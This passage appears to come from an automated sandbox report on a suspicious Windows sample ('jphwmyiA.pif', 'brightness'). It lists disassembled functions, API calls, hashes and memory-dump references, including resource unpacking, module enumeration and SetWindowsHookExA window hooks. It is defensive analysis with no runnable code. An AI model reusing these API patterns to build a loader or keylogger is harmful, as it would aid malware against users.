Instruction ID: 430f0a8c1dd1c98ecaeaeb3f975e9a9f80a941e466bd30a5454517b39cc4bdcb
Opcode Fuzzy Hash: 8e9983873a571d168fe2e7bb29e6666cb9600419f03b261459e9c0e1b586ec6b
Instruction Fuzzy Hash: 8A412B75E002589BDB23EB68CC88BDAB7FDAF08300F0040E9A648E7245DB749F848F51

Function 027BACBA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 027BACD9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 027BACFD
GetModuleFileNameA.KERNEL32(027B0000,?,00000105), ref: 027BAD18
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 027BADAE

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 3e5c8a2ecd6c24c709dd1c86a486e26a14dc2039c115dcf73ce7f1a038911fd7
Instruction ID: 5a05057bf166e2ab727364066cf6ec6b4a9e43a88ba4ebfc85e4deadf2118c2c
Opcode Fuzzy Hash: 3e5c8a2ecd6c24c709dd1c86a486e26a14dc2039c115dcf73ce7f1a038911fd7
Instruction Fuzzy Hash: 6F412C74E402589BDB23EB68CC88BDAB7FDAF08305F0440E9A648E7255DB749F848F55

Function 027B1C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59ba1cf03f9f76a74163ee338d186b7fd030db5a5837c21447be939af9e8f14a
Instruction ID: 9de5ae50af4562780c575055fa428a8bc8d8bfd5f993830c4a67399e220be588
Opcode Fuzzy Hash: 59ba1cf03f9f76a74163ee338d186b7fd030db5a5837c21447be939af9e8f14a
Instruction Fuzzy Hash: 64A117667116000BD71BAA7C9CA83EDB3C2DFC5325FA8827EE11DCB7C5EB64C9418650

Function 027B946C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,027B955A), ref: 027B94F2
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,027B955A), ref: 027B94F8

Strings

yyyy, xrefs: 027B94CD

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 8cd03cbe7a3b59a84a4359a602ad079785053b5339ee0f1813d819b2e8948373
Instruction ID: 7e934994285b4c4d2213fe0aa866c4cc00b397a2c8e0a58f4911f7dce8943e51
Opcode Fuzzy Hash: 8cd03cbe7a3b59a84a4359a602ad079785053b5339ee0f1813d819b2e8948373
Instruction Fuzzy Hash: FF217C71A402289FDB13DFA8C865BEEB3B9EF08710F5100A5EA45E7291D634EE00CF61

Function 027C8184 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 027C8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027C8088,?,?,00000000,?,027C79FE,ntdll,00000000,00000000,027C7A43,?,?,00000000), ref: 027C8056
Part of subcall function 027C8018: GetModuleHandleA.KERNELBASE(?), ref: 027C806A

Part of subcall function 027C80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027C8148,?,?,00000000,00000000,?,027C8061,00000000,KernelBASE,00000000,00000000,027C8088), ref: 027C810D
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027C8113
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(?,?), ref: 027C8125

FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,027C820E), ref: 027C81F0

Strings

FlushInstructionCache, xrefs: 027C819D
Kernel32, xrefs: 027C81CF

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: HandleModule$AddressProc$CacheFlushInstruction
String ID: FlushInstructionCache$Kernel32
API String ID: 3811539418-184458249
Opcode ID: f346d1a0cfca150a870595e22f37064e239dbf162cdcc3788c292a8ac99ea754
Instruction ID: 1cfb061be0bc378f353fc4f380e080253ba149d30ed111d2810043789b2e1636
Opcode Fuzzy Hash: f346d1a0cfca150a870595e22f37064e239dbf162cdcc3788c292a8ac99ea754
Instruction Fuzzy Hash: D101AD79640644AFE703EFA4DC69F9B77EDEB48B10F614868B900C32A4D630AD108B22

Function 027CAD5C Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 027CAD90
IsBadWritePtr.KERNEL32(?,00000004), ref: 027CADC0
IsBadReadPtr.KERNEL32(?,00000008), ref: 027CADDF
IsBadReadPtr.KERNEL32(?,00000004), ref: 027CADEB

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
Instruction ID: 9deca22b1b18740c2ccd779eb9e34647498aa3bc091b75077eea60d711aa7036
Opcode Fuzzy Hash: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
Instruction Fuzzy Hash: 5021AFB1A4021D9BDB11DF7ACC81BAE73A9EF40326F108119EE5097384EB34E9119BE0

Analysis Process: jphwmyiA.pifPID: 7208, Parent PID: 5560COMMON

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	68%
Signature Coverage:	10.5%
Total number of Nodes:	676
Total number of Limit Nodes:	53

Executed Functions

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
Module32Next.KERNEL32(00000000,?), ref: 00401D02
Module32Next.KERNEL32(00000000,?), ref: 00401DB6
CloseHandle.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

*, xrefs: 00401A1F
v, xrefs: 00401E4B
5, xrefs: 00402109
., xrefs: 0040201F
o, xrefs: 00401B8D
v, xrefs: 0040206A
), xrefs: 0040202E
o, xrefs: 00402097
o, xrefs: 00402159
', xrefs: 00402006
4, xrefs: 00402074
!, xrefs: 00401B1E
W, xrefs: 00401B14
v, xrefs: 00401B5A
0, xrefs: 00401BBD
E, xrefs: 00401E0F
{, xrefs: 00401E3C
*, xrefs: 004020E1
', xrefs: 00401AF6
4, xrefs: 00402136
v, xrefs: 0040212C
%, xrefs: 004020FA
_._, xrefs: 00402257
x, xrefs: 00401B78
{, xrefs: 00401B4B
___, xrefs: 0040227D
8, xrefs: 00401BA9
", xrefs: 00401B0F
V, xrefs: 00402038
., xrefs: 00401B0A
:, xrefs: 00401B28
V, xrefs: 00401E19
[, xrefs: 00401B37
x, xrefs: 0040214A
U, xrefs: 004020F5
D, xrefs: 00401DFB
4, xrefs: 00401B64
W, xrefs: 004020E6
!, xrefs: 004020CF
x, xrefs: 00402088
[, xrefs: 00402047
{, xrefs: 0040205B
W, xrefs: 00402033
x, xrefs: 00401E69
W, xrefs: 00401B23
!, xrefs: 0040201A
6, xrefs: 004020C5
{, xrefs: 0040211D
h, xrefs: 00401A6F

Memory Dump Source

Source File: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3731530309.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3731530309.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_jphwmyiA.jbxd

Yara matches

Similarity

API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 1430744539-2962942730
Opcode ID: 5b8530bddefb045e1b9ab2db406c8ab4da3f0b02880ef73395902e6a9a04ea37
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: 5b8530bddefb045e1b9ab2db406c8ab4da3f0b02880ef73395902e6a9a04ea37
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Function 25046C18 Relevance: 2.7, Strings: 2, Instructions: 182COMMON

Download Yara Rule

Strings

PH]q, xrefs: 25046E63
PH]q, xrefs: 25046E52

Memory Dump Source

Source File: 0000000A.00000002.3765563475.0000000025040000.00000040.00000800.00020000.00000000.sdmp, Offset: 25040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25040000_jphwmyiA.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: a33a71be2a62dfd97b98e02d384bf5ace164ef0f951afb10a42eb9654256caad
Instruction ID: 2a3644187a4e565755ab609d57dc0ba91db0247db56e4f640831d2c48bd17bb2
Opcode Fuzzy Hash: a33a71be2a62dfd97b98e02d384bf5ace164ef0f951afb10a42eb9654256caad
Instruction Fuzzy Hash: 1C81CF74E00218CFDB18DFAAD994A9DBBF2BF89304F20816AD419AB354EB356D45CF50

Function 25B9BDC8 Relevance: 1.9, APIs: 1, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3767535563.0000000025B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 25B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25b90000_jphwmyiA.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 0d12f2594d5b462dc26513bc59219cab33d0a39a4a6649eb712febd3122d5ff1
Instruction ID: 3ba60754cc7158ad7c94ef265196bf7622be0ff67acd7283ac8795272225f1d8
Opcode Fuzzy Hash: 0d12f2594d5b462dc26513bc59219cab33d0a39a4a6649eb712febd3122d5ff1
Instruction Fuzzy Hash: 11F11C30A00219CFDB08DFA9C984B9DBBF2FF48315F258569E809AB265DB75E945CF40

Function 25037A28 Relevance: 1.9, APIs: 1, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3c00ebee83ea1a9ead1a2b1f0920f160afcdab99e12f42d1d09da9a1085459c
Instruction ID: a8803628d4909d1fe0c30d52779dba91c6a63d580f0ae9490303c4c656e57e91
Opcode Fuzzy Hash: c3c00ebee83ea1a9ead1a2b1f0920f160afcdab99e12f42d1d09da9a1085459c
Instruction Fuzzy Hash: E3F1E574E01218DFDB14DFA9D884B9DBBB2BF88304F50C5A9D808AB355DB74AA85CF50

Function 2525A2B0 Relevance: 1.8, APIs: 1, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3766131011.0000000025250000.00000040.00000800.00020000.00000000.sdmp, Offset: 25250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25250000_jphwmyiA.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: a3808724e501f7f2562f602ad9816b916ad8eccdda0feac9a72621bad6c315af
Instruction ID: c1803d5a8bdd791abede4e572849b9a817ecaf64cce5f1daa529f62f36e90c93
Opcode Fuzzy Hash: a3808724e501f7f2562f602ad9816b916ad8eccdda0feac9a72621bad6c315af
Instruction Fuzzy Hash: EEC14B74A007458FCB08DF69C880A9EBBF6BF49310B108569D80AE7795DB74FD49CB94

Function 23F7FD20 Relevance: 1.6, APIs: 1, Instructions: 102COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,?,?,?), ref: 23F7FDD9

Memory Dump Source

Source File: 0000000A.00000002.3764023941.0000000023F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 23F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23f70000_jphwmyiA.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: ee7e797f8d5e56091596acf83d1937f745d21a077ad9015d70cd4bd358551a12
Instruction ID: 24c7e6df10e66606d1d5e38480ed317f475e700b208a3c467aef74ccd42b8072
Opcode Fuzzy Hash: ee7e797f8d5e56091596acf83d1937f745d21a077ad9015d70cd4bd358551a12
Instruction Fuzzy Hash: E9418BB8D012589FCB14DFA9E984A9EFBF5FF49310F10902AE814B7210D734A945CF55

Function 23F7FD28 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,?,?,?), ref: 23F7FDD9

Memory Dump Source

Source File: 0000000A.00000002.3764023941.0000000023F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 23F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23f70000_jphwmyiA.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 313fae35bcba87ff51313fec82d30b9ed048a5eab5380aa65a79e2d34556c6e9
Instruction ID: dafb777053fd3d5a17b5d0fa64018a4cb1d560a830ebf04bca9eb5987df5b66a
Opcode Fuzzy Hash: 313fae35bcba87ff51313fec82d30b9ed048a5eab5380aa65a79e2d34556c6e9
Instruction Fuzzy Hash: 044179B8D012589FCB14DFA9D984A9EFBF1FF49310F10942AE818B7220D734A945CF55

Function 250EFDE0 Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

LR]q, xrefs: 250EFE2E

Memory Dump Source

Source File: 0000000A.00000002.3765907332.00000000250E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250e0000_jphwmyiA.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: a200e875008484ba77700d9cbce7a93857fb9fbdb729686ec52fb1c38d77e698
Instruction ID: c2cb1f5697be4e1834153dda8c289db2294ec711724d2daa2605a14e32ca448b
Opcode Fuzzy Hash: a200e875008484ba77700d9cbce7a93857fb9fbdb729686ec52fb1c38d77e698
Instruction Fuzzy Hash: C8310F70E002199FDB04DFA9D884BEEBBF2BF49304F209469D005B7290D779AA44CF95

Function 250EFDF0 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

LR]q, xrefs: 250EFE2E

Memory Dump Source

Source File: 0000000A.00000002.3765907332.00000000250E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250e0000_jphwmyiA.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: ceb6a19f29425b7deb302f9b8310ac290f4790c059fe65aa49f4475fdce60df5
Instruction ID: 5f31907cea676a59a760bf7310fc73956b4a4045dcefb621cde81c766f9b17de
Opcode Fuzzy Hash: ceb6a19f29425b7deb302f9b8310ac290f4790c059fe65aa49f4475fdce60df5
Instruction Fuzzy Hash: 2F31E270E012199FDB04DFA9D844BEEBBF2BF49304F205469D405B7290D779AA45CF94

Function 250FC770 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765984605.00000000250F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250f0000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9762af8de4b1cd3ad09e549811abf6856d78c19b16ee0b2334bb4ba735ecea5
Instruction ID: 46499f6adc8a8b6ae2e30025f0563616e2522681d92733407af0e63fc916b5c6
Opcode Fuzzy Hash: d9762af8de4b1cd3ad09e549811abf6856d78c19b16ee0b2334bb4ba735ecea5
Instruction Fuzzy Hash: A6827C74E412298FDB64DF69CD94BDDBBB2BB88300F1081E9984DA7265DB346E85CF40

Function 23F7F0C8 Relevance: .7, Instructions: 719COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3764023941.0000000023F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 23F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23f70000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7230a92fd21e56cd5889d4fadabe4e578cefabf2364e9fd3a161d7800412f9e6
Instruction ID: 14a67ff972e533e7d39a08c9d8443b57ac71518f31e400aa9fadeb3c7e825989
Opcode Fuzzy Hash: 7230a92fd21e56cd5889d4fadabe4e578cefabf2364e9fd3a161d7800412f9e6
Instruction Fuzzy Hash: 2272CC74E012298FDB64DF69C984BDDBBB2BB49300F1595EAD808A7355DB34AE81CF40

Function 250FDEA8 Relevance: .7, Instructions: 677COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765984605.00000000250F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250f0000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 793b63847cb369ebf5220a6af091bb5080344c6ca24c54416da5f909bdb8f46c
Instruction ID: d7e4b039d453345196ca189ce482ba099491ca0ff14e9e2d8ee09d44dde8547b
Opcode Fuzzy Hash: 793b63847cb369ebf5220a6af091bb5080344c6ca24c54416da5f909bdb8f46c
Instruction Fuzzy Hash: F5728C74E012288FDB65DF69CD84BDABBB2BF88300F1081E9944DA7265DB356E81CF41

Function 250B4908 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765726415.00000000250B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250b0000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7820ba62baafd6b5c68a11f9cbf2ff7b7e3d45ab583b1c6204fdb6dceff4bb70
Instruction ID: baeb8b4becbb162f489731790a7520a8459ed4b412757bba87bb46aa25ae22e7
Opcode Fuzzy Hash: 7820ba62baafd6b5c68a11f9cbf2ff7b7e3d45ab583b1c6204fdb6dceff4bb70
Instruction Fuzzy Hash: 83E1C2B4E01218CFDB64DFA5D984B9DBBB2BF89300F2080A9D808A7365DB755E85CF54

Function 250465C0 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765563475.0000000025040000.00000040.00000800.00020000.00000000.sdmp, Offset: 25040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25040000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a15fb7c2f5a359731454f3ed698df5ab71ec8df3d7bdb1d8ee872a66019eac
Instruction ID: a801ea315562a407ebcfc6056f4196ae0ab146bff0b758acfc618d240175b46f
Opcode Fuzzy Hash: f7a15fb7c2f5a359731454f3ed698df5ab71ec8df3d7bdb1d8ee872a66019eac
Instruction Fuzzy Hash: C8E1C274E01218CFEB14CFA5D944B9DBBB2BF89304F2081AAD809A73A5DB355E85CF54

Function 250E09D0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765907332.00000000250E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250e0000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acfea8d26255bc68180ced5b7e397acb2d33b4a2145030edffd9743ae3d44caf
Instruction ID: 891c33e8ed470110c01a7f914628833e79ae00ad4824ca44ae7303318872a29b
Opcode Fuzzy Hash: acfea8d26255bc68180ced5b7e397acb2d33b4a2145030edffd9743ae3d44caf
Instruction Fuzzy Hash: C0D1B274E01218CFDB14DFA5D994B9DBBB2BF49300F2085A9D808AB368DB355D85CF50

Function 250B4FA8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765726415.00000000250B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250b0000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aebf7e7c3480a010a93834a91f47ee66282ee3c625ec4ee483a56fc0aab31889
Instruction ID: 175ff23c42f6e3cad3cc56eee46ed0298f84cee68a1eb9baa8869870beac6fa4
Opcode Fuzzy Hash: aebf7e7c3480a010a93834a91f47ee66282ee3c625ec4ee483a56fc0aab31889
Instruction Fuzzy Hash: 0AD1C274E01228CFDB14DFA5D984B9DBBB2BF49300F1085A9D808AB368DB355E85CF50

Function 25047AF0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765563475.0000000025040000.00000040.00000800.00020000.00000000.sdmp, Offset: 25040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25040000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2eb97efd59d3c1afafcdf33fedd8fa9521638ad93b867db9a2e26d0777147fe
Instruction ID: 87a2548ed715289e438ba6d4e7c2f14985d74284dee40318ad3d4a81432c010b
Opcode Fuzzy Hash: d2eb97efd59d3c1afafcdf33fedd8fa9521638ad93b867db9a2e26d0777147fe
Instruction Fuzzy Hash: 66D1D274E00218CFDB54DFA5D994B9DBBB2BF89300F2084A9D808AB365DB356D86CF51

Function 2503CB38 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24b465cb40f7ac265ce018dc25052d0b9ca5ad965d0b0ab0b8811d9744902738
Instruction ID: aadbb2b3ef31ce7dc8cfda24b00cfafb941431d1269df076704c6bd666d5bf0f
Opcode Fuzzy Hash: 24b465cb40f7ac265ce018dc25052d0b9ca5ad965d0b0ab0b8811d9744902738
Instruction Fuzzy Hash: DBC1D474E00218DFDB14DFA5D985B9DBBB2BF89300F2080A9D809AB365DB355E85CF50

Function 25030E38 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 664df412be4dd575c4a0418d57eaf2fab291c973ecccecb508a671c64d7dac4f
Instruction ID: 98c1b71fbfc34c10feecfbe31af775cd773f4955205c873aaf88266c889c75d3
Opcode Fuzzy Hash: 664df412be4dd575c4a0418d57eaf2fab291c973ecccecb508a671c64d7dac4f
Instruction Fuzzy Hash: D5C1C174E00218DFDB14DFA5D994B9DBBB2BF88300F2085A9D819A7365DB399E85CF10

Function 25041EA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765563475.0000000025040000.00000040.00000800.00020000.00000000.sdmp, Offset: 25040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25040000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ea9e07fc91bbe511c262efbcd73c956504eabde789cdaf54ff9258773ddddf9
Instruction ID: 7bd228cc7d463ac2249012f6e779d761dc70f5748cc2e99135a68eab206c6efe
Opcode Fuzzy Hash: 7ea9e07fc91bbe511c262efbcd73c956504eabde789cdaf54ff9258773ddddf9
Instruction Fuzzy Hash: B3C1B374E00218DFDB14DFA5D954B9DBBB2BF89300F2081A9D809AB365DB359E85CF50

Function 252531C0 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3766131011.0000000025250000.00000040.00000800.00020000.00000000.sdmp, Offset: 25250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25250000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d264e848555313f30b5a03623053ad53c98c6126911c1926dfcb3303947722d1
Instruction ID: b1cbf0ca07b832bf6b41c5f4da0c8e7d86758acab05f8b70a7525ba14c6c42fd
Opcode Fuzzy Hash: d264e848555313f30b5a03623053ad53c98c6126911c1926dfcb3303947722d1
Instruction Fuzzy Hash: 48918C3295521ADFDB189FB0C9587EEBBF1EB06302F20582AD506772E4CB781A45CF94

Function 252531D0 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3766131011.0000000025250000.00000040.00000800.00020000.00000000.sdmp, Offset: 25250000, based on PE: false

Joe Sandbox IDA Plugin

